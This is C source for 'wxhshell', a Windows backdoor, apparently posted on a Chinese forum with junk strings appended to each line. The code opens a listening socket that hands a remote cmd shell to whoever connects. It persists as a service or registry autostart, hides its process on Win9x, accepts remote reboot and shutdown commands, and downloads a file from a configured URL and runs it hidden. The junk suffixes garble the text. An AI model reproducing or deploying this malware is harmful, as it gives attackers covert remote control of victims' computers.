  // 帮助 lUA-ug! ^  
  case '?': { '*&dP"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ij~-  
    break; 9$U4x|n  
  } :vx<m_  
  // 安装 Ctn?O~u  
  case 'i': { 5~T+d1md  
    if(Install()) arRU`6?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ewq@>$_!  
    else 2K o]Q_,~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *}';q`u }  
    break; bd-iog(  
    } GA/afc,V  
  // 卸载 a j$& 9][  
  case 'r': { O^ui+44wp  
    if(Uninstall()) <1Sj_HCT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zK1]o-wSAT  
    else %.]#3tW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f-|zh#L  
    break; ^k$Bx_{  
    } 3A[<LnKR^E  
  // 显示 wxhshell 所在路径 :dRC$?f4  
  case 'p': { /'E[03I~  
    char svExeFile[MAX_PATH]; +]( y  
    strcpy(svExeFile,"\n\r"); %G,7Ul1f  
      strcat(svExeFile,ExeFile); ? daxb  
        send(wsh,svExeFile,strlen(svExeFile),0); Njr;Wa.r+  
    break; G!=(^G@J;  
    } $w <R".4  
  // 重启 'UxI-L t  
  case 'b': { W2fcY;HZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XksI.]tfj  
    if(Boot(REBOOT)) s]0 J'UN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _G@Z n[v  
    else { 9L3P'!Z  
    closesocket(wsh); GYiL}itD=3  
    ExitThread(0); g-_=$#&{  
    } G3+e5/0  
    break; :A!EjIL`#  
    } |2n*Ds'  
  // 关机 (VI(Nv:o@  
  case 'd': { _e ;b B?S  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n'{jc 6&|  
    if(Boot(SHUTDOWN)) pX*E(Q)@!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $gz8! f?  
    else { 2RF3pIFrm  
    closesocket(wsh); 7UG c2J  
    ExitThread(0); ?V+\E2  
    } \9tJ/~   
    break; dTCLE t.  
    } km5gO|V>m  
  // 获取shell P]y{3y:XxM  
  case 's': { "=C~I W  
    CmdShell(wsh); AB,(%JT/2{  
    closesocket(wsh); 5lP8#O?=  
    ExitThread(0); 4|I;z  
    break; ^c(r4#}$"  
  } 5 -|7I7(G$  
  // 退出 ~MC 5rOA  
  case 'x': { IA Ma  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cZF|oZ6<  
    CloseIt(wsh); zjcSn7iu  
    break; J%xUO1  
    } IBeorDIZ  
  // 离开 V#.pi zb  
  case 'q': { T+EwC)Ll  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %3TioM[B  
    closesocket(wsh); w6h83m 3  
    WSACleanup(); cr ]b #z  
    exit(1); r r\u)D#)  
    break; 7A'E+>1d  
        } "q=ss:(  
  } qrj f  
  } pV (Mh[ }P  
cpw=2vnD  
  // 提示信息 &s}sA+w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Pw]r&)I`y[  
} 0QPY+6  
  } {{_v.d~1  
<8? F\x@  
  return; ,YBO}l  
} B=%%3V)2  
6bjZW ~  
// shell模块句柄 3)o>sp)Ji$  
int CmdShell(SOCKET sock) WoB'B|%  
{ )F&.0 '  
STARTUPINFO si; 0m.`$nlV-  
ZeroMemory(&si,sizeof(si)); ZnAQO3%y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LY)Wwl*wc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Qx|HvT2P  
PROCESS_INFORMATION ProcessInfo; L;vglS=l;  
char cmdline[]="cmd"; sUmpf4/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5izpQ'>  
  return 0; h`O$L_Z  
} n{~&^Nby*I  
ZlE=P4`X:  
// 自身启动模式 \nuz l   
int StartFromService(void) '~f*O0_  
{ xW9R -J \W  
typedef struct 83_mR*tGNp  
{ QQ{*j7i)  
  DWORD ExitStatus; ;@gI*i N"  
  DWORD PebBaseAddress; e]; IQ|  
  DWORD AffinityMask; }QQl.'  
  DWORD BasePriority; Xg1TX_3Ml  
  ULONG UniqueProcessId; cp~6\F;c  
  ULONG InheritedFromUniqueProcessId; 0LzS #J+  
}   PROCESS_BASIC_INFORMATION; XUR#|  
O0BDUpH  
PROCNTQSIP NtQueryInformationProcess; <jYyA]Zy5  
qM 1ZCt  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; IUh9skW5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )g $T%  
4, Vx3QFZ  
  HANDLE             hProcess; y0O e)oP  
  PROCESS_BASIC_INFORMATION pbi; #n.v#FyNx  
&"T7KXx  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vlDA/( &  
  if(NULL == hInst ) return 0; .-MJ5d:  
?/hS1yD;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "W4|}plnu  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); A~k: m0MX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^c.pvC"4j  
(M{wkQTO  
  if (!NtQueryInformationProcess) return 0; ' Gx\  
R\5fl[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F/j ; q  
  if(!hProcess) return 0; i88`W&tI{  
eL)m(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; aYpc\jJ  
Sa.nUj{M=  
  CloseHandle(hProcess); .ty2! .  
9<P%?Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k`[>B k%b  
if(hProcess==NULL) return 0; VTDnh*\5  
I3x+pa^]2  
HMODULE hMod; 8<Yv:8%B6  
char procName[255]; efHCPj  
unsigned long cbNeeded; &n83>Q  
QP!;Gwqr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [-e$4^+9  
:l Z\=2D  
  CloseHandle(hProcess); 9M|#X1r{%{  
$SFreyI;Uf  
if(strstr(procName,"services")) return 1; // 以服务启动 r,vSDHb`j  
r<P?F  
  return 0; // 注册表启动 qf [J-"o  
} 6*>vie  
/9P7;1?  
// 主模块 +Bt%W%_X  
int StartWxhshell(LPSTR lpCmdLine) Dp^=%F{t  
{ F<2gM#jLB  
  SOCKET wsl; +8|Xj!!*}  
BOOL val=TRUE; <FZ*'F*M  
  int port=0; s6 K~I  
  struct sockaddr_in door; q_>=| b  
1O)m(0tb[  
  if(wscfg.ws_autoins) Install(); S|yDGT1  
>w\3.6A  
port=atoi(lpCmdLine); -&v0JvTJ9j  
'=K~M  
if(port<=0) port=wscfg.ws_port; j \ #y  
iZ ;562Mo  
  WSADATA data; ,|UwZ_.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /B{c L`<  
._'.F'd  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   kO/;lrwC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0? KvR``Aj  
  door.sin_family = AF_INET; `j.-hy>s  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); i(q a'*  
  door.sin_port = htons(port); YB]^Y^"e  
=}SC .E\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k)9 pkPl  
closesocket(wsl); zj1_#=]  
return 1; c&SSf_0O*  
} Et)j6xz/F  
de"+ABR  
  if(listen(wsl,2) == INVALID_SOCKET) { s8r[U, }(  
closesocket(wsl); ?V)M!  
return 1; 5VLC\QgK^  
} Hegj_FQ  
  Wxhshell(wsl); eGbjk~,f'  
  WSACleanup(); ;|Rrtf9  
>?$qKu  
return 0; p;2NO&  
M8FC-zFs  
} re@OPiXa v  
il:RE8  
// 以NT服务方式启动 QWwEfL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~\7peH%  
{ ~t.i;eu  
DWORD   status = 0; U+ief?;4F  
  DWORD   specificError = 0xfffffff; ~NwX,-ri  
l;;"v) C8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <\\,L@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {gS7pY%_W  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <%LN3T  
  serviceStatus.dwWin32ExitCode     = 0; FS6ZPjG)  
  serviceStatus.dwServiceSpecificExitCode = 0; hr GfA  
  serviceStatus.dwCheckPoint       = 0; %4h$/~  
  serviceStatus.dwWaitHint       = 0; )^Md ^\?  
EwOi` g  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?Ns aZ  
  if (hServiceStatusHandle==0) return; $4rMYEn08  
o~p%ODH  
status = GetLastError(); aK'%E3!~=x  
  if (status!=NO_ERROR) uJt*> ;Kp  
{ kQ $.g<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :=,lG ou  
    serviceStatus.dwCheckPoint       = 0; )Hlc\Mgy  
    serviceStatus.dwWaitHint       = 0; /Os;,g  
    serviceStatus.dwWin32ExitCode     = status; :g"U G0];  
    serviceStatus.dwServiceSpecificExitCode = specificError; ZS?4<lXF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7V7iIbi  
    return; aQ.mvuMa7'  
  } . ^JsnP  
oxgh;v*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; DTSK*a`  
  serviceStatus.dwCheckPoint       = 0; oi/bp#(fa  
  serviceStatus.dwWaitHint       = 0; pksF| VS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Uz; pNWMk  
} .VfBwTh7q8  
9A9yZlt  
// 处理NT服务事件,比如:启动、停止 %DF-;M"8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d^ YM@>%  
{ 3/?{= {  
switch(fdwControl) :=^_N}  
{ aYPD4yX"/  
case SERVICE_CONTROL_STOP: {qjw  S1v  
  serviceStatus.dwWin32ExitCode = 0; \>GHc}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; q8e34Ly7  
  serviceStatus.dwCheckPoint   = 0; >$iQDVh!  
  serviceStatus.dwWaitHint     = 0; IA?v[xu  
  { DAtZp%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sas:5iB5  
  } ]2o?Gnn@  
  return; h oL"K  
case SERVICE_CONTROL_PAUSE: /qX=rlQ/n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ()I';o  
  break; $bT<8:g  
case SERVICE_CONTROL_CONTINUE: 2n8spLZYGY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {Kkut?5  
  break; pSlosv(6  
case SERVICE_CONTROL_INTERROGATE: ;`MKi5g  
  break; @u}1 S1  
}; 5 U{}A\q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A ^wIsAxT  
} Fj~,>   
Qt+;b  
// 标准应用程序主函数 UL   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .gK>O2hI  
{ iw ==q:$  
yG<`7v  
// 获取操作系统版本 %uWq)D4r  
OsIsNt=GetOsVer(); iO_6>&(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8KU5x#  
.W)%*~ O!;  
  // 从命令行安装  wN4N 2  
  if(strpbrk(lpCmdLine,"iI")) Install(); bF X0UE>  
$8"G9r  
  // 下载执行文件 I"<ACM  
if(wscfg.ws_downexe) { @3F4Lg6H|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) & NO:S  
  WinExec(wscfg.ws_filenam,SW_HIDE); vUU)zZB ~  
} =6N%;2`84  
SZ[ ,(h  
if(!OsIsNt) { K4\#b}P!  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^YLk&A)X  
HideProc(); 8qY\T0  
StartWxhshell(lpCmdLine);  ;Iu}Q-b*  
} sAG#M\A6  
else yRt>7'@X  
  if(StartFromService()) @d]a#ypU  
  // 以服务方式启动 r(#]Z   
  StartServiceCtrlDispatcher(DispatchTable); g_l=z`,8  
else }c$@0x;YQ  
  // 普通方式启动 ~ojH$=K>d  
  StartWxhshell(lpCmdLine); 18xT2f  
J XKqQxZ[X  
return 0; GYq.!d@O  
}
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只看该作者 1 发表于: 2006-10-10
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